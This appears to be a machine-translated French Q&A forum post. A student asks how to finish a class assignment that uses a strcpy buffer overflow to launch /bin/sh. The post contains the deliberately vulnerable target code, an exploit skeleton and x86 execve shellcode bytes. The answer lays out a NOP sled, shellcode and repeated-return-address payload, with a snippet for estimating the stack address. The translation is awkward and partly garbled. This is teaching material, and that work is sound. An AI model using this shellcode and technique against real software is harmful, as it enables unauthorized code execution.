INTENTIONNELLE buffer overflow exploiter programme

Question

Je suis en train de comprendre ce problème pour une de mes classes comp sci, j'ai utilisé toutes les ressources et toujours des problèmes, si quelqu'un pouvait donner une idée, je l'apprécie grandement.

J'ai cette « cible » Je dois exécuter un exec ( « / bin / sh ») avec le débordement de mémoire tampon exploit. Dans le trop-plein de buf [128], lors de l'exécution de la commande dangereuse strcpy, un dos de pointeur dans la mémoire tampon apparaît à l'endroit où les attend du système pour trouver l'adresse de retour.

target.c

int bar(char *arg, char *out)
{
 strcpy(out,arg);
 return 0;
}

int foo(char *argv[])
{
 char buf[128];
 bar(argv[1], buf);
}

int main(int argc, char *argv[])
{
 if (argc != 2)
 {
  fprintf(stderr, "target: argc != 2");
  exit(EXIT_FAILURE);
 }
 foo(argv);
 return 0;
}

exploit.c

#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
  char *args[3];
  char *env[1];

  args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

shellcode.h

static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

Je comprends que je dois remplir argv [1] avec plus de 128 octets, les octets plus de 128 étant l'adresse de retour, ce qui devrait être de retour en pointe dans la mémoire tampon de sorte qu'il exécute le / bin / sh à l'intérieur. Est-ce exact jusqu'ici? Quelqu'un peut-il fournir à l'étape suivante?

Merci beaucoup pour toute aide.

Answer 1

Eh bien, vous voulez que le programme pour exécuter votre shellcode. Il est déjà sous forme de la machine, il est donc prêt à être exécuté par le système. Vous l'avez stocké dans une mémoire tampon. Ainsi, la question serait « Comment le système sait exécuter mon code? » Plus précisément, « Comment le système sait où chercher le code suivant à exécuter? » La réponse dans ce cas est l'adresse de retour que vous parlez.

En fait, vous êtes sur la bonne voie. Avez-vous essayé d'exécuter le code? Une chose que j'ai remarqué lors de l'exécution de ce type d'exploit est que ce n'est pas une science exacte. Parfois, il y a d'autres choses en mémoire que vous ne vous attendez pas à être là, donc vous devez augmenter le nombre d'octets que vous ajoutez dans votre mémoire tampon afin d'aligner correctement l'adresse de retour avec laquelle le système attend que ce soit.

Je ne suis pas un spécialiste de la sécurité, mais je peux vous dire quelques petites choses qui pourraient aider. La première est que je comprennent généralement un « NOP Sled » - essentiellement juste une série de 0x90 octets qui ne font rien d'autre que d'exécuter des instructions « NOP » sur le processeur. Une autre astuce consiste à répéter l'adresse de retour à la fin de la mémoire tampon, de sorte que si l'un d'entre eux, même l'adresse écrase retour sur la pile, vous aurez un retour réussi à l'endroit où vous voulez.

Ainsi, votre tampon ressemblera à ceci:

| NOP SLED | shellcode | ADRESSE DE RETOUR REPETE |

(Note: Ce ne sont pas mes idées, je les ai de pirater. L'art de l'exploitation, par Jon Erickson Je recommande ce livre si vous êtes intéressé à en apprendre davantage à ce sujet).

Pour calculer l'adresse, vous pouvez utiliser quelque chose de similaire à ce qui suit:

unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer

int main(int argc, char *argv[])
{
    int i, offset;
    long esp, ret, *addr_ptr;
    char* buffer;

    offset = 0;
    esp = sp();
    ret = esp - offset;
}

Maintenant, ret tiendra l'adresse de retour que vous souhaitez revenir à, en supposant que vous allouez tampon pour être sur le tas.